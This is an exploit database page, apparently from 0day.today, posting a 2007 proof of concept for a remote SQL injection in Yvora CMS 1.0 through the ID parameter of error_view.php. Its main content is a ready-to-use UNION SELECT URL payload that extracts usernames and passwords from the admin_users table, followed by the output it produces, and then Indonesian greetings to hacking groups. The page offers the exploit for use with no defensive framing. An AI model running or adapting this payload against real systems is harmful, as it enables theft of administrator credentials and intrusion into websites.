[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Yvora CMS 1.0 (error_view.php ID) Remote SQL Injection Vulnerability

Author
k1tk4t
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-2106
Category
web applications
Date add
01-09-2007
Platform
unsorted
====================================================================
Yvora CMS 1.0 (error_view.php ID) Remote SQL Injection Vulnerability
====================================================================



########################################################################
# Yvora CMS v1.0 - Remote SQL Injection
# Vendor        : http://www.yvora.nl/
########################################################################
POC;

http://www.victim.xxx/error_view.php?ID=[SQL]

Contoh;

http://www.victim.xxx/error_view.php?ID=-99+UNION+SELECT+1,2,3,password,username,6,7+from+admin_users/*

Hasil;

Error: Username
Query: Password

########################################################################
Terimakasih untuk;
str0ke
DNX,xoron,iFX,x-ace,nyubi,selikoer,k1ngk0ng
dan semua temen2 komunitas security&hacking
-----------------------
semua komunitas hacker&security Indonesia
Cintailah Bahasa Indonesia


#  0day.today [2024-12-24]  #